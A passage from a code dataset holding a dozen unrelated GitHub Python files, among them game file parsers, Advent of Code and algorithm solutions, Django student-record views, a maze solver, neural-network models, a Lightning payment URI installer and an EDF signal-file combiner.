entries=make_vector(CollisionEntry),\n)\n\nBMSCC = Struct(\n _magic=Const(b\"MSCD\"),\n _version=IfThenElse(\n game_check.current_game_at_most(Game.SAMUS_RETURNS),\n Const(0x000D0001, Hex(UInt)),\n Const(0x00100001, Hex(UInt)),\n ),\n layers=make_vector(CollisionLayer),\n eof=GreedyBytes,\n)\n\n\nclass Bmscc(BaseResource):\n @classmethod\n def construct_class(cls, target_game: Game) -> Construct:\n return BMSCC\n","repo_name":"haxaplax/mercury-engine-data-structures","sub_path":"src/mercury_engine_data_structures/formats/bmscc.py","file_name":"bmscc.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"75"} +{"seq_id":"18975307598","text":"import re\n\ndata = open('input03.txt').readlines()\n\nclass Fabric:\n def __init__(self):\n self.grid = []\n for i in range(1000):\n self.grid.append([0]*1000)\n \n def mark(self, x, y, width, height):\n for i in range(y, y + height):\n for j in range(x, x + width):\n self.grid[i][j] += 1\n \n def check(self, x, y, width, height):\n for i in range(y, y+height):\n for j in range(x, x+width):\n if self.grid[i][j] > 1:\n return False\n return True\n\nfab = Fabric()\nclaims = []\nfor line in data:\n nums = re.findall(r'\\d+', line)\n nums = [int(x) for x in nums]\n claims.append(nums)\n fab.mark(*(nums[1:]))\n\nfor c in claims:\n if fab.check(*c[1:]):\n print(c[0])\n break","repo_name":"djsheehy/advent-of-code","sub_path":"2018/day03b.py","file_name":"day03b.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"31142285204","text":"from project.task import Task\n\nclass Section:\n\n def __init__(self, name):\n self.name = name\n self.tasks = []\n\n\n def add_task(self, new_task: Task):\n\n if new_task in self.tasks:\n return f\"Task is already in the section {self.name}\"\n\n self.tasks.append(new_task)\n return f\"Task {new_task.details()} is added to the section\"\n\n\n def complete_task(self, task_name):\n bool = False\n final = \"\"\n\n for task in self.tasks:\n if task.name == task_name:\n bool = True\n final = task\n break\n\n\n if bool == False:\n return f\"Could not find task with the name {task_name}\"\n\n index= self.tasks.index(final)\n\n self.tasks[index].completed = True\n return f\"Completed task {task_name}\"\n\n\n\n def clean_section(self):\n counter = 0\n for i in range(len(self.tasks)):\n task = self.tasks[i]\n\n if task.completed == True:\n counter += 1\n self.tasks.remove(task)\n \n return f\"Cleared {counter} tasks.\"\n\n\n \n def view_section(self):\n to_return =[]\n\n to_return.append(f\"Section {self.name}:\")\n\n for task in self.tasks:\n to_return.append(task.details())\n\n return \"\\n\".join(to_return)\n","repo_name":"PowerCell12/Programming_OOP_Python","sub_path":"Classes and Objects/Exercise/05. To-do List/section.py","file_name":"section.py","file_ext":"py","file_size_in_byte":1177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29756806081","text":"import urllib2\n\nheaders = {'User-agent' : 'Mozilla/5.0'}\nreq = urllib2.Request('https://www.google.pl/search?q=chomikuj+otchlan+pdf&ie=&oe=', None, headers)\nhtml = urllib2.urlopen(req).read()\nwith open('pliknowy.txt', 'a') as plik:\n for line in html:\n plik.write(line)\n'''\n%3Dcache <- po tym jest link do chomika\n'''\n","repo_name":"chr243/python","sub_path":"27/urllib2/szukajka googla.py","file_name":"szukajka googla.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"16612912092","text":"from textparser import enrich_links, enrich_subheadings\n\n\ndef test():\n lines = [\"hello world http://docs.python.com\"]\n lines = enrich_links(lines)\n expected = [\"hello world http://docs.python.com\"]\n assert lines == expected, \"enrich link result doesn't match\"\n\n lines = [\"foo\", \"#subheading\", \"bar\"]\n lines = enrich_subheadings(lines)\n expected = [\"foo\", \"

subheading

\", \"bar\"]\n\n assert lines == expected, \"enrich subheadings result doesn't match\"\n","repo_name":"spandanb/spandanb.github.io","sub_path":"generation/test_textparser.py","file_name":"test_textparser.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4649691235","text":"def get_absolute_difference(a, b):\n same_sign = a * b >= 0\n if same_sign:\n return abs(a - b)\n else:\n return abs(a) + abs(b)\n\ndef smallestDifference(array_one, array_two):\n array_one.sort()\n array_two.sort()\n pointer_one = 0\n pointer_two = 0\n len_one = len(array_one)\n len_two = len(array_two)\n minimum_found = get_absolute_difference(array_one[0], array_two[0])\n minimum_values = [array_one[0], array_two[0]]\n while pointer_one < len_one and pointer_two < len_two:\n if not minimum_found:\n return minimum_values\n new_possible_minimum = get_absolute_difference(array_one[pointer_one], array_two[pointer_two])\n if new_possible_minimum < minimum_found:\n minimum_found = new_possible_minimum\n minimum_values = [array_one[pointer_one], array_two[pointer_two]]\n if array_one[pointer_one] < array_two[pointer_two]:\n pointer_one += 1\n else:\n pointer_two += 1\n return minimum_values","repo_name":"nightowlish/AlgoExpert-Python-Solutions","sub_path":"medium/smallest_difference.py","file_name":"smallest_difference.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21778408806","text":"from django.shortcuts import render,redirect\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import*\nfrom .models import*\n\n\n#student list\n@login_required\ndef studentlist(request):\n studentl = StudentDetailInfo.objects.all()\n forms = StudentSearchForm()\n if request.method == 'POST':\n forms = StudentSearchForm(request.POST)\n if forms.is_valid():\n sclass = forms.cleaned_data['sclass']\n sroll = forms.cleaned_data['sroll']\n if sroll is None:\n sstudentl = StudentDetailInfo.objects.filter(class_id__classname__icontains=sclass)\n else:\n sstudentl = StudentDetailInfo.objects.filter(roll=sroll, class_id__classname__icontains=sclass)\n context = {\n 'studentlist' : sstudentl,\n 'forms' : forms\n }\n return render(request, 'student_search.html', context)\n context = {\n 'studentlist' : studentl,\n 'forms' : forms\n\n }\n return render(request, 'student.html', context)\n \n\n#add student\n@login_required\ndef addstudent(request):\n forms1 = StudentInfoForm()\n forms2 = StudentDetailInfoForm()\n if request.method == 'POST':\n forms1 = StudentInfoForm(request.POST)\n forms2 = StudentDetailInfoForm(request.POST)\n if forms1.is_valid() and forms2.is_valid():\n forms1_obj = forms1.save()\n forms2_obj = forms2.save(commit=False)\n forms2_obj.student = forms1_obj\n forms2.save()\n return redirect('studentlist-site')\n\n\n context = {\n 'forms1' : forms1,\n 'forms2' : forms2,\n }\n return render(request, 'add_student.html', context)\n\n\n#edit student profile\n@login_required\ndef studentedit(request, pk):\n std_det = StudentDetailInfo.objects.get(id=pk)\n std_info = std_det.student\n forms1 = StudentInfoForm(instance=std_info)\n forms2 = StudentDetailInfoForm(instance=std_det)\n if request.method == 'POST':\n forms1 = StudentInfoForm(request.POST, instance=std_info)\n forms2 = StudentDetailInfoForm(request.POST, instance=std_det)\n if forms1.is_valid() and forms2.is_valid():\n forms1_obj = forms1.save()\n forms2_obj = forms2.save(commit=False)\n forms2_obj.student = forms1_obj\n forms2.save()\n return redirect('studentlist-site')\n\n\n context ={\n 'forms1' : forms1,\n 'forms2' : forms2,\n\n }\n \n return render(request,'edit_student.html', context)\n\n\n#delete student profile\n@login_required\ndef studentdelete(request, pk):\n studentinfo_obj = StudentInfo.objects.get(id=pk)\n studentinfo_obj.delete()\n return redirect('studentlist-site')\n\n\n# student attendance view\n@login_required\ndef std_att_view(request):\n std_search_forms = StudentsAttendanceForm()\n if request.method == 'POST':\n std_search_forms = StudentsAttendanceForm(request.POST)\n if std_search_forms.is_valid():\n std_class = std_search_forms.cleaned_data['std_class']\n studentl = StudentDetailInfo.objects.filter(class_id__classshortname=std_class)\n contex = {\n 'studentl':studentl,\n 'std_search_forms':std_search_forms,\n }\n return render(request, 'student/attendance_view.html', contex)\n \n contex = {\n 'std_search_forms':std_search_forms,\n }\n return render(request, 'student/attendance_view.html', contex)\n \n\n","repo_name":"mntushar/school-management-system-django","sub_path":"student/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28791190309","text":"import csv, os, sys, time\n\n\ndef get_maze(file):\n f = open(file, 'r')\n reader = csv.reader(f)\n maze = []\n for line in reader:\n maze.append(line)\n return maze\n\ndef display_maze(m, path):\n m2 = m[:]\n os.system('clear')\n\n for item in path:\n m2[item[0]][item [1]] = '.'\n m2[path[-1][0]][path[-1][1]] = \"A\"\n draw = ''\n\n for row in m2:\n for item in row:\n item = str(item).replace(\"1\", \"#\")\n item = str(item).replace(\"0\", \" \")\n\n draw += item\n draw += '\\n'\n\n print(draw)\n\n\ndef move(path):\n time.sleep(1)\n cur = path[-1]\n display_maze(maze, path)\n possibles = [(cur[0], cur[1] + 1), (cur[0], cur[1] - 1), (cur[0] + 1, cur[1]), (cur[0] - 1, cur[1])]\n print(possibles)\n\n\n for item in possibles:\n if item[0] < 0 or item[1] < 0 or item[0] > len(maze) or item[1] > len(maze[0]):\n continue\n elif maze[item[0]][item[1]] == '1':\n continue\n elif item in path:\n continue\n elif maze[item[0]][item[1]] == 'B':\n path += (item, )\n display_maze(maze, path)\n input('Finish')\n os.system('clear')\n sys.exit()\n\n else:\n newpath = path + (item, )\n move(newpath)\n\n\nmaze = get_maze('maze.csv')\n\nmove(((1, 0), ))\ndisplay_maze(maze, [])\n\n\n","repo_name":"Bohdan11Dii/Tasks","sub_path":"Fourth_task/maze_dog.py","file_name":"maze_dog.py","file_ext":"py","file_size_in_byte":1364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"14606056266","text":"import os\nimport sys\n\ndesktop_file = [\n \"[Desktop Entry]\",\n \"Version=1.0\",\n \"Type=Application\",\n \"Name=Pay with Lightning Network\",\n \"Exec=\",\n \"MimeType=x-scheme-handler/lightning;\",\n \"Terminal=\",\n \"Icon=\",\n \"Comment=\",\n \"Path=\",\n \"StartupNotify=false\",\n ]\n\nMIMETYPE = 'x-scheme-handler/lightning=ln-pay.desktop'\nAPP = (os.getcwd() + \"/python3 ln-pay.py\")\n#LOCALPATH = os.path.expanduser('~/.local/share/applications/')\nLOCALPATH = os.getcwd()\nICONPATH = os.path.expanduser('~/.local/share/icons/hicolor/128x128/apps')\n\nif sys.platform.startswith('linux'):\n desktop_file[4] = \"Exec={} %u\".format(APP)\n choice = input(\"ln-pay can be integrated into the desktop in two ways: \\\n \\n1. Launch a terminal running ln-pay asking for confirmation \\\n \\n2. Send a notification through Linux Desktop Notification asking for confirmation\\\n \\nChoose 1 or 2 \")\n if choice == '1':\n desktop_file[6] = \"Terminal=true\"\n elif choice == '2':\n desktop_file[6] = \"Terminal=false\"\n print(\"This will add these configuration into {}\\n\".format(os.path.join(LOCALPATH,'ln-pay.desktop')))\n for i in desktop_file:\n print(i)\n\n print(\"\\nand will append\\n\\n{}\\n\\ninto {}\".format(MIMETYPE,os.path.join(LOCALPATH,'mimetype.list')))\n choice2 = input(\"Continue (y/n):\")\n if choice2 == 'y':\n with open(os.path.join(LOCALPATH,'ln-pay.desktop'),'w') as f:\n for params in desktop_file:\n f.write(params+'\\n')\n with open(os.path.join(LOCALPATH,'mimetype.list'),'a') as f:\n f.write(MIMETYPE)\n print(\"Installation complete\")\n else:\n print(\"Installation cancelled\")\nelse:\n print(\"OSes other than Linux are currently not supported by this install script\")\n sys.exit(1)\n","repo_name":"minecraft2048/ln-pay","sub_path":"install.py","file_name":"install.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","stars":30,"dataset":"github-code","pt":"75"} +{"seq_id":"73616905843","text":"import torch\nimport torch.nn as nn\n\n\nclass LSTMMachine(nn.Module):\n def __init__(self, input_size):\n super(LSTMMachine, self).__init__()\n self.hidden_dim = 20\n self.num_layers = 3\n\n self.image_lstm = nn.LSTM(1, self.hidden_dim, self.num_layers, batch_first=True)\n self.image_fc = nn.Linear(self.hidden_dim, 1)\n\n def forward(self, x):\n x = x.reshape(x.shape[0], x.shape[1], 1)\n h0_image = torch.zeros(self.num_layers, x.size(0), self.hidden_dim).requires_grad_()\n c0_image = torch.zeros(self.num_layers, x.size(0), self.hidden_dim).requires_grad_()\n out, (hn, cn) = self.image_lstm(x, (h0_image.detach(), c0_image.detach()))\n image_out = self.image_fc(out[:,-1,:])\n return image_out","repo_name":"arf-themascoteers/dristi","sub_path":"model_lstm.py","file_name":"model_lstm.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72531750321","text":"import json\nimport numpy as np\nimport skrobot\nfrom skrobot.model import Link\nfrom skrobot.coordinates import CascadedCoords, Coordinates, make_cascoords\nfrom skrobot.coordinates.math import rpy_matrix, rpy_angle\n\nrobot_model = skrobot.models.PR2()\njoint_list = [\n robot_model.r_shoulder_pan_joint, robot_model.r_shoulder_lift_joint,\n robot_model.r_upper_arm_roll_joint, robot_model.r_elbow_flex_joint,\n robot_model.r_forearm_roll_joint, robot_model.r_wrist_flex_joint,\n robot_model.r_wrist_roll_joint]\njoint_names = [j.name for j in joint_list]\n\nmylink = Link(pos=[0.1, 0.1, 0.1], rot=[0.1, 0.2, 0.3], name=\"mylink\")\nrobot_model.r_upper_arm_link.assoc(mylink, mylink)\nlink_list = [\n robot_model.r_shoulder_pan_link, robot_model.r_shoulder_lift_link,\n robot_model.r_upper_arm_roll_link, robot_model.r_elbow_flex_link,\n robot_model.r_forearm_roll_link, robot_model.r_wrist_flex_link,\n robot_model.r_wrist_roll_link, robot_model.base_link, robot_model.r_upper_arm_link, mylink]\n\njoint_angles = [0.564, 0.35, -0.74, -0.7, -0.7, -0.17, -0.63]\nfor j, a in zip(joint_list, joint_angles):\n j.joint_angle(a)\n\nx, y, z, r, p, y = 0.3, 0.5, 0.7, 0.1, 0.2, 0.3\nco = Coordinates(pos=[x, y, z], rot=rpy_matrix(y, p, r))\nrobot_model.newcoords(co)\n\nangle_vector = joint_angles + [x, y, z, r, p, y]\n\n# compute pose of links\nworld_coordinate = CascadedCoords()\n\ndef extract_pose(co): return np.hstack(\n (co.worldpos(), co.worldcoords().rpy_angle()[0]))\n\n\npose_list = [extract_pose(co).tolist() for co in link_list]\n\n# compute jacobian of links\nworld_coordinate = CascadedCoords()\nJ = [robot_model.calc_jacobian_from_link_list(\n link,\n [j.child_link for j in joint_list],\n transform_coords=world_coordinate,\n rotation_axis=True).tolist() for link in link_list]\n\nground_truth = {\n \"angle_vector\": angle_vector,\n \"joint_names\": joint_names,\n \"link_names\": [l.name for l in link_list],\n \"pose_list\": pose_list,\n}\n\nwith open(\"test_data.json\", 'w') as f:\n json.dump(ground_truth, f)\n","repo_name":"HiroIshida/tinyfk","sub_path":"test/data/ground_truth_gen.py","file_name":"ground_truth_gen.py","file_ext":"py","file_size_in_byte":2015,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"75"} +{"seq_id":"13748395503","text":"# Your task is to sum the differences between consecutive pairs in the array in descending order.\n#\n# Example\n# [2, 1, 10] --> 9\n# In descending order: [10, 2, 1]\n#\n# Sum: (10 - 2) + (2 - 1) = 8 + 1 = 9\n#\n# If the array is empty or the array has only one element the result should be 0 (Nothing in Haskell, None in Rust).\n#\n# ARRAYSFUNDAMENTALS\n# Solution\ndef sum_of_differences(arr):\n arr = sorted(arr, reverse = True)\n list = []\n for i in range(len(arr)):\n for j in range(i + 1, len(arr)):\n list.append(arr[i] - arr[j])\n return max(list) if len(arr) > 1 else 0","repo_name":"kaluginpeter/Algorithms_and_structures_tasks","sub_path":"Python_Solutions/CodeWars/8kyu/Sum_of_differences_in_array.py","file_name":"Sum_of_differences_in_array.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"73900311281","text":"# @author : Abhishek R S\n\nimport os\nimport numpy as np\nimport h5py\nimport tensorflow as tf\n\n'''\n\nInception_v3\n\n# Reference\n- [Rethinking the Inception Architecture for Computer Vision]\n (http://arxiv.org/abs/1512.00567)\n\n# Pretrained model weights\n- [Download pretrained Inception_v3 model]\n (https://github.com/fchollet/deep-learning-models/releases/download/v0.5/inception_v3_weights_tf_dim_ordering_tf_kernels_notop.h5)\n\n'''\n\nclass InceptionV3:\n\n # initialize network parameters\n def __init__(self, data_format = 'channels_first', inception_path = 'inception_v3_weights_tf_dim_ordering_tf_kernels_notop.h5'):\n self._weights_h5 = h5py.File(inception_path, 'r')\n self._data_format = data_format\n self._encoder_data_format = None\n self._pool_kernel = None\n self._pool_strides = None\n self._feature_map_axis = None\n self._encoder_conv_strides = [1, 1, 1, 1]\n self._padding = 'SAME'\n self._counter = 1\n\n if self._data_format == 'channels_first':\n self._encoder_data_format = 'NCHW'\n self._feature_map_axis = 1\n self._pool_kernel = [1, 1, 3, 3]\n self._pool_strides = [1, 1, 2, 2]\n else: \n self._encoder_data_format = 'NHWC'\n self._feature_map_axis = -1\n self._pool_kernel = [1, 3, 3, 1]\n self._pool_strides = [1, 2, 2, 1]\n\n # build inception_v3 encoder\n def inception_v3_encoder(self, features):\n\n # input : RGB format in range [-1, 1]\n # input = input / 127.5\n # input = input - 1.\n\n # Stage 1\n self.stage1 = self._conv_block(features, strides = self._pool_strides, name = 'block1_conv1')\n self.stage1 = self._conv_block(self.stage1, name = 'block1_conv2')\n self.stage1 = self._conv_block(self.stage1, name = 'block1_conv3')\n self.pool1 = self._maxpool_layer(self.stage1, name = 'block1_maxpool')\n\n # Stage 2\n self.stage2 = self._conv_block(self.pool1, name = 'block2_conv1')\n self.stage2 = self._conv_block(self.stage2, name = 'block2_conv2')\n self.pool2 = self._maxpool_layer(self.stage2, name = 'block2_maxpool')\n\n # Stage 3\n self.stage3 = self._inception_block_a(self.pool2, 'block_a_mixed1_')\n self.stage3 = self._inception_block_a(self.stage3, 'block_a_mixed2_')\n self.stage3 = self._inception_block_a(self.stage3, 'block_a_mixed3_')\n\n # stage 4\n self.stage4 = self._inception_block_b(self.stage3, 'block_b_mixed1_')\n\n # Stage 5\n self.stage5 = self._inception_block_c(self.stage4, 'block_c_mixed1_')\n self.stage5 = self._inception_block_c(self.stage5, 'block_c_mixed2_')\n self.stage5 = self._inception_block_c(self.stage5, 'block_c_mixed3_')\n self.stage5 = self._inception_block_c(self.stage5, 'block_c_mixed4_')\n\n # Stage 6\n self.stage6 = self._inception_block_d(self.stage5, 'block_d_mixed1_')\n \n # Stage 7 \n self.stage7 = self._inception_block_e(self.stage6, 'block_e_mixed1_')\n self.stage7 = self._inception_block_e(self.stage7, 'block_e_mixed2_')\n\n #-------------------------------------------#\n # pretrained inception_v3 encoder functions #\n #-------------------------------------------#\n def _inception_block_a(self, input_layer, name):\n branch1x1 = self._conv_block(input_layer, name = name + 'branch1x1')\n\n branch5x5 = self._conv_block(input_layer, name = name + 'branch5x5_1')\n branch5x5 = self._conv_block(branch5x5, name = name + 'branch5x5_2')\n\n branch3x3 = self._conv_block(input_layer, name = name + 'branch3x3_1')\n branch3x3 = self._conv_block(branch3x3, name = name + 'branch3x3_2')\n branch3x3 = self._conv_block(branch3x3, name = name + 'branch3x3_3')\n\n branch_pool = self._avgpool_layer(input_layer, name = name + 'branch_avgpool') \n branch_pool = self._conv_block(branch_pool, name = name + 'branch_avgpool1x1')\n\n out = tf.concat([branch1x1, branch5x5, branch3x3, branch_pool], axis = self._feature_map_axis, name = name + 'concat')\n\n return out\n\n def _inception_block_b(self, input_layer, name):\n branch3x3 = self._conv_block(input_layer, strides = self._pool_strides, name = name + 'branch3x3_1')\n\n branch3x3dbl = self._conv_block(input_layer, name = name + 'branch3x3_2')\n branch3x3dbl = self._conv_block(branch3x3dbl, name = name + 'branch3x3_3')\n branch3x3dbl = self._conv_block(branch3x3dbl, strides = self._pool_strides, name = name + 'branch3x3_4')\n\n branch_pool = self._maxpool_layer(input_layer, name = name + 'maxpool')\n\n out = tf.concat([branch3x3, branch3x3dbl, branch_pool], axis = self._feature_map_axis, name = name + 'concat')\n\n return out\n\n def _inception_block_c(self, input_layer, name):\n branch1x1 = self._conv_block(input_layer, name = name + 'branch1x1')\n\n branch7x7 = self._conv_block(input_layer, name = name + 'branch7x7_1')\n branch7x7 = self._conv_block(branch7x7, name = name + 'branch7x7_2')\n branch7x7 = self._conv_block(branch7x7, name = name + 'branch7x7_3')\n\n branch7x7dbl = self._conv_block(input_layer, name = name + 'branch7x7_4')\n branch7x7dbl = self._conv_block(branch7x7dbl, name = name + 'branch7x7_5')\n branch7x7dbl = self._conv_block(branch7x7dbl, name = name + 'branch7x7_6')\n branch7x7dbl = self._conv_block(branch7x7dbl, name = name + 'branch7x7_7')\n branch7x7dbl = self._conv_block(branch7x7dbl, name = name + 'branch7x7_8')\n\n branch_pool = self._avgpool_layer(input_layer, name = name + 'branch_avgpool') \n branch_pool = self._conv_block(branch_pool, name = name + 'branch_avgpool1x1')\n\n out = tf.concat([branch1x1, branch7x7, branch7x7dbl, branch_pool], axis = self._feature_map_axis, name = name + 'concat')\n\n return out\n\n def _inception_block_d(self, input_layer, name):\n branch3x3 = self._conv_block(input_layer, name = name + 'branch3x3_1')\n branch3x3 = self._conv_block(branch3x3, strides = self._pool_strides, name = name + 'branch3x3_2')\n\n branch7x7 = self._conv_block(input_layer, name = name + 'branch7x7_1')\n branch7x7 = self._conv_block(branch7x7, name = name + 'branch7x7_2')\n branch7x7 = self._conv_block(branch7x7, name = name + 'branch7x7_3')\n branch7x7 = self._conv_block(branch7x7, strides = self._pool_strides, name = name + 'branch7x7_4')\n\n branch_pool = self._maxpool_layer(input_layer, name = name + 'maxpool')\n\n out = tf.concat([branch3x3, branch7x7, branch_pool], axis = self._feature_map_axis, name = name + 'concat')\n\n return out\n\n def _inception_block_e(self, input_layer, name):\n branch1x1 = self._conv_block(input_layer, name = name + 'branch1x1')\n\n branch3x3_1 = self._conv_block(input_layer, name = name + 'branch3x3_1')\n branch3x3_2 = self._conv_block(branch3x3_1, name = name + 'branch3x3_2')\n branch3x3_3 = self._conv_block(branch3x3_1, name = name + 'branch3x3_3')\n branch3x3_concat1 = tf.concat([branch3x3_2, branch3x3_3], axis = self._feature_map_axis, name = name + 'concat1')\n\n branch3x3_4 = self._conv_block(input_layer, name = name + 'branch3x3_4')\n branch3x3_5 = self._conv_block(branch3x3_4, name = name + 'branch3x3_5')\n branch3x3_6 = self._conv_block(branch3x3_5, name = name + 'branch3x3_6')\n branch3x3_7 = self._conv_block(branch3x3_5, name = name + 'branch3x3_7')\n branch3x3_concat2 = tf.concat([branch3x3_6, branch3x3_7], axis = self._feature_map_axis, name = name + 'concat2')\n\n branch_pool = self._avgpool_layer(input_layer, name = name + 'branch_avgpool') \n branch_pool = self._conv_block(branch_pool, name = name + 'branch_avgpool1x1')\n\n out = tf.concat([branch1x1, branch3x3_concat1, branch3x3_concat2, branch_pool], axis = self._feature_map_axis, name = name + 'concat3')\n\n return out\n\n #-----------------------#\n # convolution block #\n #-----------------------#\n def _conv_block(self, input_layer, strides = None, padding = None, name = 'conv_block'):\n if strides is None:\n strides = self._encoder_conv_strides\n\n if padding is None:\n padding = self._padding\n\n conv = self._conv_layer(input_layer, strides, padding, name = name + '_conv') \n bn = self._batchnorm_layer(conv, name = name + '_bn')\n relu = tf.nn.relu(bn, name = name + '_relu')\n\n return relu\n\n #-----------------------#\n # convolution2d layer #\n #-----------------------#\n def _conv_layer(self, input_layer, strides, padding, name, key = 'conv2d_'):\n W = tf.constant(self._weights_h5[key + str(self._counter)][key + str(self._counter)]['kernel:0'])\n x = tf.nn.conv2d(input_layer, filter = W, strides = strides, padding = padding, data_format = self._encoder_data_format, name = name)\n\n return x\n\n #-----------------------#\n # avgpool layer #\n #-----------------------#\n def _avgpool_layer(self, input_layer, pool_size = [3, 3], strides = [1, 1], name = 'avg_pool'):\n return tf.layers.average_pooling2d(input_layer, pool_size = pool_size, strides = strides, padding = self._padding, data_format = self._data_format, name = name)\n\n #-----------------------#\n # maxpool2d layer #\n #-----------------------#\n def _maxpool_layer(self, input_layer, name):\n pool = tf.nn.max_pool(input_layer, ksize = self._pool_kernel, strides = self._pool_strides, padding = self._padding, data_format = self._encoder_data_format, name = name)\n\n return pool\n\n #-----------------------#\n # batchnorm layer #\n #-----------------------#\n def _batchnorm_layer(self, input_layer, name, key = 'batch_normalization_'):\n if self._encoder_data_format == 'NCHW':\n input_layer = tf.transpose(input_layer, perm = [0, 2, 3, 1])\n\n gamma_shape = self._weights_h5[key + str(self._counter)][key + str(self._counter)]['beta:0'].shape \n\n mean = tf.constant(self._weights_h5[key + str(self._counter)][key + str(self._counter)]['moving_mean:0'])\n std = tf.constant(self._weights_h5[key + str(self._counter)][key + str(self._counter)]['moving_variance:0'])\n beta = tf.constant(self._weights_h5[key + str(self._counter)][key + str(self._counter)]['beta:0'])\n gamma = tf.constant(np.ones(shape = gamma_shape), dtype = np.float32)\n\n bn = tf.nn.batch_normalization(input_layer, mean = mean, variance = std, offset = beta, scale = gamma, variance_epsilon = 1e-12, name = name)\n\n if self._encoder_data_format == 'NCHW':\n bn = tf.transpose(bn, perm = [0, 3, 1, 2])\n\n self._counter += 1\n\n return bn\n","repo_name":"AbhishekRS4/pretrained_models","sub_path":"frozen/inception_v3.py","file_name":"inception_v3.py","file_ext":"py","file_size_in_byte":10798,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29896269130","text":"labels = {\n \"stomata\": 170,\n \"background\": 202, # space outside cell\n \"cell\": 0,\n \"epidermis\": 152, # Maybe it's stomata, I am not sure\n \"veins\": 100,\n \"air\": 255\n}\n\n\"\"\"\nI can implement an algorithm to repair corrupted images, assign the each pixel to the most similar ones\nAnd maybe I have also to eliminate salt and pepper pixel. I have to check if it is the case to do that\nafter the first manipulation.\n\"\"\"\n","repo_name":"LordCatello/distance-transforms-on-gmaps","sub_path":"data/labels.py","file_name":"labels.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71537107443","text":"\"\"\"This module combines EDF files that prematurely stopped and were restarted by\nexperimenters joining the shorter files into a single edf.\n\"\"\"\n\nimport copy\nimport re\nimport reprlib\nfrom operator import attrgetter\nfrom pathlib import Path\nfrom typing import Pattern, Sequence, Union\n\nimport numpy as np\nfrom openseize.file_io import edf\n\n\ndef locate(dirpath: Union[str, Path], fs: float, expected: float) -> Sequence:\n \"\"\"Returns a list of EEG paths whose number of samples in hours is less than\n expected.\n\n Args:\n dirpath:\n Path to a directory containing EEG files.\n fs:\n The sampling rate of the data in the file.\n expected:\n The minimum number of hours expected in the file.\n\n Returns:\n A Sequence of Path instances whose number of samples in hours is below\n expected.\n \"\"\"\n\n result = []\n paths = list(Path(dirpath).glob('*.edf'))\n for fp in paths:\n with edf.Reader(fp) as reader:\n if reader.shape[-1] / (3600 * fs) < expected:\n result.append(reader.path)\n return result\n\n\ndef pair(paths: Sequence, pattern=r'[^_]+') -> Sequence:\n \"\"\"Returns tuples of paths each of which contains pattern..\n\n Args:\n paths:\n A sequence of path instances.\n pattern:\n A valid regex expression to match path stems by.\n\n Returns:\n A sequence of tuples containing paths with pattern in them.\n\n References:\n https://developers.google.com/edu/python/regular-expressions\n \"\"\"\n\n result = []\n cpaths = copy.copy(paths)\n while cpaths:\n # remove first path and get str token with matching pattern\n path = cpaths.pop(0)\n token = re.search(pattern, path.stem).group()\n matches = [other for other in cpaths if token in other.stem]\n\n if not matches:\n msg = f'No match find for token {token}'\n raise ValueError(msg)\n\n [cpaths.remove(m) for m in matches]\n result.append((path, *matches))\n\n return result\n\n\ndef move_files(new_dir: Path, paths: Sequence[Path], **kwargs) -> None:\n \"\"\"Moves each file with path at paths to a new directory.\n\n Args:\n new_dir:\n A Path instance to a directory where each path will be moved to.\n paths:\n Path instances of files to move to new_dir.\n kwargs:\n Keyword only arguments are passed to pathlibs mkdir function. These\n control whether errors are raised if the parents are not specified\n correctly or if the dir already exist. See pathlib.Path.mkdir\n\n Returns:\n None\n\n Raises:\n FileExistError or FileNotFoundErrors may be raised depending on kwargs.\n \"\"\"\n\n new_dir.mkdir(**kwargs)\n for path in paths:\n path.rename(new_dir.joinpath(path.name))\n\n\ndef combine_edf(\n dirpath: Path,\n fs: float,\n amount: float = 24,\n nominal: float = 72,\n pattern: Pattern[str] = r'[^_]+',\n verbose: bool = True,\n) -> None:\n \"\"\"Combines EDF files whose number of samples is less than nominal hours.\n\n Args:\n dirpath:\n Path instance of directory containing edf files some of which may be\n shorter than nominal.\n fs:\n The sampling rate of the data in the files.\n amount:\n The amount of hours to take from the start of each file for\n combining. Defaults to 24 hours.\n nominal:\n The cutoff in hours that determines if a file is 'short'. Default is\n 72 hours.\n pattern:\n A regex pattern string used to match files. Please see the re module\n for details.\n verbose:\n Boolean indicating if progress should be printed to stdout.\n\n Returns:\n None\n\n Notes:\n This function requires that each file be loaded into memory because\n Openseize does not yet allow for writing from producers. This means the\n memory consumption may be high.\n \"\"\"\n\n dirpath = Path(dirpath)\n # locate and pair the files with less than nominal hrs of samples\n short_files = locate(dirpath, fs, nominal)\n path_tuples = pair(short_files, pattern)\n\n aRepr = reprlib.Repr()\n samples = amount * fs * 3600\n for tup in path_tuples:\n # make a reader instance for each file to join\n readers = [edf.Reader(fp) for fp in tup]\n readers = sorted(readers, key=attrgetter('header.start_date'))\n\n if verbose:\n msg = aRepr.repr([reader.path.stem for reader in readers])\n print('Combining: \\n' + 